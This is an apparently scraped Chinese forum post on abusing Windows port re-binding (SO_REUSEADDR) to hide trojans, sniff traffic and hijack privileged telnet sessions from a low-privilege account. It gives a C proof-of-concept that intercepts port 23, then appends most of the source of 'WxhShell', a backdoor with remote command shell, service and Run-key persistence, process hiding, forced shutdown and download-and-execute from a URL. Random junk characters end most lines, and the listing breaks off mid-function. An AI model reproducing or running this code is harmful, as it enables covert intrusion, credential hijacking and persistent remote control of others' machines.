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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: > [)7U _|p  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); fT|.@%"vc  
Od,=mO*.Q  
  saddr.sin_family = AF_INET; [\]50=&  
vo?9(+:|e  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); cF*TotU_m  
:S]%6gb8G  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); c&6 I[ R  
1> ?M>vK  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 n>z9K')  
xl{=Y< ;  
  这意味着什么?意味着可以进行如下的攻击: >[f?vrz  
hy1oq7F(Q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 'I|v[G$l  
j\yjc/m  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) H;is/  
!6 #X>S14  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _=>He=v/  
P-[-pi@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #I.+aV+2oQ  
`6;?9NI  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 e v}S+!|U  
+SzU  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3qgS&js 7  
uuEV_"X  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6dQ-HI*Y#  
a9e>iU  
  #include {'flJ5]  
  #include 4X/-4'  
  #include 3=#<X-);  
  #include    E#RDqL*J  
  DWORD WINAPI ClientThread(LPVOID lpParam);   xH4m|  
  int main() xa'*P=<)C'  
  { F-QzrquS  
  WORD wVersionRequested; Xxj- 6i  
  DWORD ret; 8bGd} (  
  WSADATA wsaData; %X]jaX 7  
  BOOL val; E*& vy  
  SOCKADDR_IN saddr; Ha#= (9.  
  SOCKADDR_IN scaddr; d2FswF$C  
  int err; -12UN(&&Z  
  SOCKET s; m[osg< CR_  
  SOCKET sc; @ )F)S 7  
  int caddsize; eSn+B;  
  HANDLE mt; =>S]q71  
  DWORD tid;   5PCqYN(:B  
  wVersionRequested = MAKEWORD( 2, 2 ); `?H]h"{7Q  
  err = WSAStartup( wVersionRequested, &wsaData ); :9afg  
  if ( err != 0 ) { t|?ez4/{z  
  printf("error!WSAStartup failed!\n"); j a[Et/r  
  return -1; @/~omg}R  
  } [&[k^C5  
  saddr.sin_family = AF_INET; 1dY}\Sp  
   !<|4C6X:4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ';Ea?ID  
UBKu /@[f@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); n6=By|jRh  
  saddr.sin_port = htons(23); Wb,KjtX  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) },?kk1vIT{  
  { .Z`R^2MU  
  printf("error!socket failed!\n"); >~rTqtKd  
  return -1; O^PKn_OJ  
  } ?5__oT  
  val = TRUE; 3d8L6GJ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [Y/} ^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) OF>mF~  
  { 2>9C-VL2  
  printf("error!setsockopt failed!\n"); hF?1y`20  
  return -1; 1#g2A0U,  
  } L&8~f]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; jwe*(k]z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 l9~e". ~'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 h8j.(  
B4/>H|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $p8xEcQdU#  
  { T~?Ff|qFC  
  ret=GetLastError(); ' {OgN}'{  
  printf("error!bind failed!\n"); v~+(GqR=+  
  return -1; g'f@H-KCD  
  } tIi&;tw]  
  listen(s,2); BR_1MG'{)$  
  while(1) Z#jZRNU%ox  
  { pQ">UL*  
  caddsize = sizeof(scaddr); iU918!!N   
  //接受连接请求 LP^$AAy  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ITQA0PI SL  
  if(sc!=INVALID_SOCKET) w(Ovr`o?9t  
  { )}R0Y=e  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); yN0Vr\r2  
  if(mt==NULL) ]! &FKy  
  { BZ#(   
  printf("Thread Creat Failed!\n"); Y Uc+0  
  break; pad*oPH,  
  } s+Pq&<nV-  
  } "^[ 'y7i  
  CloseHandle(mt); bP#:Oi0v`  
  } NYUL:Tp  
  closesocket(s); v"$L702d$\  
  WSACleanup(); 7"D", 1h  
  return 0; 2|y"!JqE1  
  }   (Rh,,  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2"Q|+-Io  
  { /N+dQe  
  SOCKET ss = (SOCKET)lpParam; @7c?xQVd$  
  SOCKET sc; mIvx1_[  
  unsigned char buf[4096]; =?* !"&h  
  SOCKADDR_IN saddr; "cGk)s  
  long num; 2nObl'ec  
  DWORD val; =J==i?  
  DWORD ret; !,uE]gwLw  
  //如果是隐藏端口应用的话,可以在此处加一些判断 m~ABC#,2  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   wm@@$  
  saddr.sin_family = AF_INET; qo~O|~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); EWt[z.`T1  
  saddr.sin_port = htons(23); //MUeTxR  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  dFc':|  
  { h4}84}5d  
  printf("error!socket failed!\n"); \K{ z  
  return -1; ]c*4J\s  
  } tjS@meT  
  val = 100; GA )`-*.R  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C =xa5Y  
  { P;no?  
  ret = GetLastError(); 2;b\9R^>A  
  return -1; 1~FOgk1;  
  } 2.y-48Nz  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dQX6(J j  
  { QL/(72K  
  ret = GetLastError(); nF:4}qy\  
  return -1; 4@gG<QJW  
  } U>SShpmZA  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Vt~{Gu-Y  
  { Pm?KI<TH~  
  printf("error!socket connect failed!\n"); M0"_^?  
  closesocket(sc); y<3-?}.aZ  
  closesocket(ss); e{H=dIa+  
  return -1; Zl!kJ:0  
  } RBd7YWo\|j  
  while(1) 8W7J3{d  
  { I][*j  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 v/plpNVp >  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >6-`}G+|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 hfB%`x#akQ  
  num = recv(ss,buf,4096,0); .V<+v-h  
  if(num>0) 3\,4 ]l|  
  send(sc,buf,num,0); 7EEl +;wK  
  else if(num==0) LOYk9m  
  break; G!##X: 6'  
  num = recv(sc,buf,4096,0); gJ+'W1$/  
  if(num>0) V Q@   
  send(ss,buf,num,0); e%M;?0j  
  else if(num==0) Y|qTyE%  
  break; {S \{Ii6  
  } ?z+eWL  
  closesocket(ss); {YC@T(  
  closesocket(sc); ]/6z; ~3U  
  return 0 ; H8jpxzXv  
  } 1GRCV8 "Z^  
>R_&Ouh:  
J)> c9w  
========================================================== wHLLu~m\  
q i;1L Kc  
下边附上一个代码,,WXhSHELL (WJRi:NP?  
BlO<PMmhT&  
========================================================== FV!q!D  
T::85  
#include "stdafx.h" 8,%^ M9zBP  
gJ{)-\  
#include <stdio.h> Fo_sgv8O<  
#include <string.h> ~?}Emn;t  
#include <windows.h> ~~P5k:  
#include <winsock2.h> kTB 0b*V  
#include <winsvc.h> Zx@a/jLO[n  
#include <urlmon.h> 'LC1(V!_j  
}<r)~{UV  
#pragma comment (lib, "Ws2_32.lib") $PPi5f}HD  
#pragma comment (lib, "urlmon.lib") Zi i   
7]bGc \  
#define MAX_USER   100 // 最大客户端连接数 j$:~Rek  
#define BUF_SOCK   200 // sock buffer 00y!K m_D  
#define KEY_BUFF   255 // 输入 buffer w9imKVry  
q`-N7 ,$T  
#define REBOOT     0   // 重启 33q}CzK  
#define SHUTDOWN   1   // 关机 ^ @5QP$.  
V!=,0zy~Z  
#define DEF_PORT   5000 // 监听端口 *&W"bOMH*  
`w Vyb>T  
#define REG_LEN     16   // 注册表键长度 `h\j99  
#define SVC_LEN     80   // NT服务名长度 J@'wf8Ub  
"S]TP$O D  
// 从dll定义API SfyQ$$Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CRE3icXbQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'H!Uh]!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BU_nh+dF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); am'7uy!ka~  
kzLsoZ!I  
// wxhshell配置信息 X_h}J=33Q  
struct WSCFG { cT,sh~-x,  
  int ws_port;         // 监听端口 bE..P&"  
  char ws_passstr[REG_LEN]; // 口令 m s \}  
  int ws_autoins;       // 安装标记, 1=yes 0=no {\5  
  char ws_regname[REG_LEN]; // 注册表键名 ~ 7s!VR  
  char ws_svcname[REG_LEN]; // 服务名 )10+@d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 # W']6'O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0~S^Y1hH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \b x$i*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  kJ}`V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~0$&3a<n1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CTa57R  
oc`H}Wvn  
}; O>,e~#!  
t~XN}gMxw  
// default Wxhshell configuration pnOAs&QAm  
struct WSCFG wscfg={DEF_PORT, oPM96 (  
    "xuhuanlingzhe", o*H<KaX  
    1, EQM {  
    "Wxhshell", T8g$uFo  
    "Wxhshell", i.m^/0!  
            "WxhShell Service", ;_(4Q*Yx  
    "Wrsky Windows CmdShell Service", Q2gq}c~  
    "Please Input Your Password: ", 7:1Lol-V  
  1, QWYJ *  
  "http://www.wrsky.com/wxhshell.exe", m_]Y{3C  
  "Wxhshell.exe" ez$(c  
    }; R m( "=(  
}7Q%6&IR  
// 消息定义模块 5b*C1HS@X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8ib:FF(= u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a~w$#fo"`f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L8B! u9%  
char *msg_ws_ext="\n\rExit."; 77Y/!~kd  
char *msg_ws_end="\n\rQuit."; w?[upn:K  
char *msg_ws_boot="\n\rReboot..."; 7. oM J  
char *msg_ws_poff="\n\rShutdown..."; fHFE){  
char *msg_ws_down="\n\rSave to "; y6a3t G  
k(HUUH_z  
char *msg_ws_err="\n\rErr!"; |L ev.,,Ph  
char *msg_ws_ok="\n\rOK!"; %ET+iIhK  
g 7H(PF?  
char ExeFile[MAX_PATH]; Z T%5T}i  
int nUser = 0; /N{*"s2)  
HANDLE handles[MAX_USER]; 2+XA X:YD  
int OsIsNt; })%{AfDRF  
@VEb{ w[H  
SERVICE_STATUS       serviceStatus; }K(TjZR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9* M,R,y  
@yYkti;4-  
// 函数声明 zb3t IRH  
int Install(void); GbI/4<)l}  
int Uninstall(void); a7opCmL  
int DownloadFile(char *sURL, SOCKET wsh); l/5 hp.  
int Boot(int flag); ^cWnF0)j.  
void HideProc(void); _[BP 0\dPW  
int GetOsVer(void); J&_n9$  
int Wxhshell(SOCKET wsl); ih3n<gXF  
void TalkWithClient(void *cs); SXh-A1t  
int CmdShell(SOCKET sock); "tK=+f`NM  
int StartFromService(void); PKz':_|  
int StartWxhshell(LPSTR lpCmdLine); p_4<6{KEt  
m&3xJuKih  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~} ~4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); / ;$[E  
OyIw>Wfv  
// 数据结构和表定义 "AqB$^S9t  
SERVICE_TABLE_ENTRY DispatchTable[] = tH4B:Bgj!  
{ 2 %]X+`+O  
{wscfg.ws_svcname, NTServiceMain}, AbM'3Mkz  
{NULL, NULL} HoAy_7-5  
}; 2=}FBA,2  
x8|J-8A(  
// 自我安装 t uX|\X  
int Install(void) ueNS='+m  
{ yHaGkm  
  char svExeFile[MAX_PATH]; u3 D)M%e  
  HKEY key; H5an%kU|j  
  strcpy(svExeFile,ExeFile); sLk-x\P]|  
\;Weizq5  
// 如果是win9x系统,修改注册表设为自启动 x+]"  
if(!OsIsNt) { 6A ah9   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (9)Q ' 'S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]:n,RO6  
  RegCloseKey(key); ['D]>Ot68  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *Pr )%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i6Gu@( 8Q  
  RegCloseKey(key); *4 n)  
  return 0; >\8+: oS^  
    } K 8O|?x]  
  } Z_NCD`i;  
} =_^X3z0  
else { a+QpM*n7Lq  
Ny# ^&-K  
// 如果是NT以上系统,安装为系统服务 j>kqz>3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `]aeI'[}R  
if (schSCManager!=0) rm_Nn8p,  
{ @4#vm@Yf_  
  SC_HANDLE schService = CreateService wd6owr  
  ( &^nGtW%a 9  
  schSCManager, vDvFL<`vmD  
  wscfg.ws_svcname, nk:)j:fr  
  wscfg.ws_svcdisp, hbn([+xY  
  SERVICE_ALL_ACCESS, \M-OC5fQv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O/LXdz0B  
  SERVICE_AUTO_START, 2an f$^[  
  SERVICE_ERROR_NORMAL, !r-F>!~  
  svExeFile, Q2> gU#  
  NULL, 7HWmCaa[  
  NULL, []T8k9g/-  
  NULL, *zLMpL_  
  NULL, 5r0YA IJ  
  NULL qQa}wcU'9p  
  ); :6dxtl/{b:  
  if (schService!=0) Y);=TM6s  
  { I1J-)R+  
  CloseServiceHandle(schService); AZ<= o  
  CloseServiceHandle(schSCManager); PvL[e"p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^zr`;cJ+c  
  strcat(svExeFile,wscfg.ws_svcname); Y/oHu@ _  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pCG}Z Ka  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fqd^9wl>P6  
  RegCloseKey(key); D_MmW  
  return 0; lq uLT6]  
    } A}!J$V:w]  
  } 9BB=YnKE  
  CloseServiceHandle(schSCManager); HOi`$vX }N  
} - YBY[%jF>  
} E-FUlOG&  
1;iUWU1@  
return 1; ry]l.@o;  
} {8etv:y  
HZOMlOZ  
// 自我卸载 ?]5qr?W%  
int Uninstall(void) OrW  
{ u? EN  
  HKEY key; zm#  ?W  
iow"n$/  
if(!OsIsNt) { 4Tc~b3\!Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )%]J>&/0J  
  RegDeleteValue(key,wscfg.ws_regname); 3' 'me  
  RegCloseKey(key); =pr7G+_u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YkADk9fE  
  RegDeleteValue(key,wscfg.ws_regname); A}w/OA97RO  
  RegCloseKey(key); ?A0)L27UE&  
  return 0; sos5Y}  
  } z9"U!A4  
} #K&Gp-  
} +,l-Nz  
else { 'fW-Y!k%  
4e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y>LBl]  
if (schSCManager!=0) 06jQE2z2R  
{ ,)io5nZF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bd`P0f?  
  if (schService!=0) F[MFx^sT{  
  { MfkZ  
  if(DeleteService(schService)!=0) { T>>c2$ x  
  CloseServiceHandle(schService); u:b=\T L  
  CloseServiceHandle(schSCManager); p}P-6&k,U  
  return 0; #z42C?V  
  } cb bFw  
  CloseServiceHandle(schService); zeRyL3fnmb  
  } m+9#5a-  
  CloseServiceHandle(schSCManager); 0`H# '/  
} qSQ~D(tO  
} 1*7@BP5  
kcEeFG;DQ  
return 1;  lRQYpc\  
} @nf`Gw ;  
[hs ds\  
// 从指定url下载文件 `u\n0=go  
int DownloadFile(char *sURL, SOCKET wsh) M%#e1"n  
{ 2qp#N%  
  HRESULT hr; P2Y^d#jO  
char seps[]= "/"; !9x}  
char *token; `h;[TtIX4  
char *file; >sbu<|]a 7  
char myURL[MAX_PATH]; S>{~nOYt-`  
char myFILE[MAX_PATH]; =c7;r]Ol  
V8(-  
strcpy(myURL,sURL); pot~<d`:K"  
  token=strtok(myURL,seps); 9u:Q,0\  
  while(token!=NULL) 7z-[f'EIUI  
  { ^Dx&|UwiZa  
    file=token; w =KPT''!  
  token=strtok(NULL,seps); %)n=x ne  
  } lfg6646?S  
WhDJ7{D  
GetCurrentDirectory(MAX_PATH,myFILE); "#48% -'x  
strcat(myFILE, "\\"); 11lsf/IP  
strcat(myFILE, file); D{!IW!w  
  send(wsh,myFILE,strlen(myFILE),0); xC?h2hIt  
send(wsh,"...",3,0); <Gsu Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e(yh[7p=  
  if(hr==S_OK) n`KY9[0U=  
return 0; @pxcpXCy  
else G&dKY h\  
return 1; KSL`W2}  
g .\[o@H  
} 8ipez/  
Debv4Gr;^  
// 系统电源模块 f!"w5qC^  
int Boot(int flag) E_`=7 i  
{ > P)w?:k  
  HANDLE hToken; Ep}s}Stlr}  
  TOKEN_PRIVILEGES tkp; W8<%[-r  
ElXFeJ%[G  
  if(OsIsNt) { s@C}P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =Sv/IXX\di  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); YK\X+"lB  
    tkp.PrivilegeCount = 1; ])!*_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /( LL3cZK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `x|?&Ytmf9  
if(flag==REBOOT) { p#Bi>/C6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z ]ONh  
  return 0; <}LC~B!  
} ;PH~<T  
else { #1[u (<AS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =QsYXK7Mn4  
  return 0; o}!PQ#`M  
} a9G8q>h]O  
  } 4m)n+ll  
  else { [gB+C84%%  
if(flag==REBOOT) { [!z,lY>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {8aTV}Ha2  
  return 0; B1STGL`nK  
} ix$bRdl  
else { _j3fAr(V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |{8Pb3#U  
  return 0; 626r^c=  
} rGO8!X 3d  
} :-'qC8C  
]{iQ21`a-  
return 1; 4Up/p&1@  
} 4z? l  
;aBG,dr}i  
// win9x进程隐藏模块 `9 L>*  
void HideProc(void) PM+[,H  
{ B3BN`mdn>  
G2Zer=rC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *or(1DXP8  
  if ( hKernel != NULL ) ]oxZ77ciL  
  { "fI6Cpc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0mnw{fE8_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]! dTG  
    FreeLibrary(hKernel); JO;Uus{?  
  } w@b)g  
(?c-iKGc  
return; OH88n69  
} Z7#+pPt!  
N0lC0 N?_J  
// 获取操作系统版本 Zh,71Umz  
int GetOsVer(void) g ?k=^C  
{ . ^u,.  
  OSVERSIONINFO winfo; ;I*o@x_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); TO_e^A#  
  GetVersionEx(&winfo); `g,..Ns-r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ngwb Q7)  
  return 1; s>en  
  else H.c7Nle  
  return 0; /B3iC#?  
} G"6 !{4g  
O}P`P'Y|'  
// 客户端句柄模块 OPi0~s  
int Wxhshell(SOCKET wsl) $Y;RKe9  
{ j6YOKJX  
  SOCKET wsh; \8 ":]EU  
  struct sockaddr_in client; Tk>#G{Wb-  
  DWORD myID; @oNXZRg6  
AdmC&!nH  
  while(nUser<MAX_USER) :+Z%; Dc  
{ =I4lL]>  
  int nSize=sizeof(client); >Q/Dk7#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); VQs5"K"  
  if(wsh==INVALID_SOCKET) return 1; C}X\|J  
n?Q|)2 2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .N3mb6#[R  
if(handles[nUser]==0) 5bIw?%dk(  
  closesocket(wsh); SKtrtm  
else -} +[  
  nUser++; S3#>9k;p  
  } Z G:{[sT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s.#`&Sd>  
z{6Z 11|  
  return 0; l.]xB,k  
} h 0|s  
L-Lvp%%  
// 关闭 socket >usL*b0%  
void CloseIt(SOCKET wsh) =v\.h=~~  
{ ,I9bNO,%JK  
closesocket(wsh); BWNi [^]  
nUser--; No$3"4wk  
ExitThread(0);  bLL2  
} \^LFkp  
<$YlH@;)`a  
// 客户端请求句柄 Lr+$_ t}r  
void TalkWithClient(void *cs) D=$)n_F  
{ #z(]xI)"  
6LZCgdS{  
  SOCKET wsh=(SOCKET)cs; H+#FSdy#  
  char pwd[SVC_LEN]; -/4P3SG/  
  char cmd[KEY_BUFF]; Kq!3wb;  
char chr[1]; }b}m3i1  
int i,j; jCY %|  
vX>)je5#  
  while (nUser < MAX_USER) { {I ((p_  
_GPe<H  
if(wscfg.ws_passstr) { <%^&2UMg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FwK] $4*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xLE)/}y_7H  
  //ZeroMemory(pwd,KEY_BUFF); ,+VGSd  
      i=0; 7^Uv7< pw  
  while(i<SVC_LEN) { SJLis"8  
> !JS:5|  
  // 设置超时 3%6? g*  
  fd_set FdRead; zCA2X !7F  
  struct timeval TimeOut; [Pp'Ye~K@c  
  FD_ZERO(&FdRead); J4'eI[73  
  FD_SET(wsh,&FdRead); 46x'I(  
  TimeOut.tv_sec=8; ]|@^1we  
  TimeOut.tv_usec=0; "4Nt\WQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \wZe] G%S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bD^owa  
3q.q YX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RCrCs  
  pwd=chr[0]; ;a/E42eN;  
  if(chr[0]==0xd || chr[0]==0xa) { :0/ 7,i  
  pwd=0; #4:?gfIj  
  break; o-\[,}T)M  
  } `^vE9nW 7  
  i++; km(Po}  
    } Wqnc{oq |$  
Sz~OX6L  
  // 如果是非法用户,关闭 socket PnTu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wzA$'+Mb  
} [^)g%|W  
OI*H,Z "  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  G*m 0\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dr(*T  
m 5.Zu.  
while(1) { v19-./H^ j  
4*L_)z&4;  
  ZeroMemory(cmd,KEY_BUFF); @~e5<:|5#  
-=="<0c  
      // 自动支持客户端 telnet标准   #E?4E1bnB  
  j=0; J,hCvm  
  while(j<KEY_BUFF) { mw!F{pw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '91/md5  
  cmd[j]=chr[0]; 29rX%09T]  
  if(chr[0]==0xa || chr[0]==0xd) { {ax:RUQxy  
  cmd[j]=0; /z!%d%"  
  break; }C:r 9? T  
  } E./2jCwI(Y  
  j++; :/#rZPPF  
    } > I?IPQB  
8}[).d160  
  // 下载文件 XX@ZQcN  
  if(strstr(cmd,"http://")) { T%Lx%Qn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .>S!ji  
  if(DownloadFile(cmd,wsh)) Ba,`TJ%y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); eRYK3W  
  else \RiP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *hx  
  } uZ5p#M_  
  else { +z( Lr=G  
eDMO]5}Ht  
    switch(cmd[0]) { ]lbuy7xj63  
  }6#  
  // 帮助 1^}+=~  
  case '?': {  g(052]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f 2.HF@  
    break;  \zkg  
  } BLttb  
  // 安装 R5D1w+  
  case 'i': { XUYtEf  
    if(Install()) pkzaNY/q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x4 yR8n(  
    else pb}*\/s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $X6h|?3U,  
    break; }pYqWTG  
    } >j/w@Fj  
  // 卸载 uYN`:b8  
  case 'r': { WLT"ji0w2  
    if(Uninstall()) l;Wj]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'NmRR]Q9  
    else ~a:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vQCy\Gi   
    break; Pal=F0-Q\  
    } &pRREu:[4L  
  // 显示 wxhshell 所在路径 %Zi} MPx  
  case 'p': { $I=~S[p  
    char svExeFile[MAX_PATH]; nKY6[|!#  
    strcpy(svExeFile,"\n\r"); xEI%D|)<  
      strcat(svExeFile,ExeFile); 0;k# *#w  
        send(wsh,svExeFile,strlen(svExeFile),0); 3n _htgcv  
    break; siI;"?  
    } {.yB'.k?  
  // 重启 {mg2pfhB!  
  case 'b': { M  >u_4AY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QV!up^Zso  
    if(Boot(REBOOT)) 2ESo2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >A= f 1DF  
    else { r; {.%s7  
    closesocket(wsh); RP"kC4~1  
    ExitThread(0); aOp\91  
    } wT@og|M  
    break; d-qUtgqV86  
    } b9krOe *j  
  // 关机 S'" Df5  
  case 'd': { 6Oq 7#3]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d6O[ @CyP  
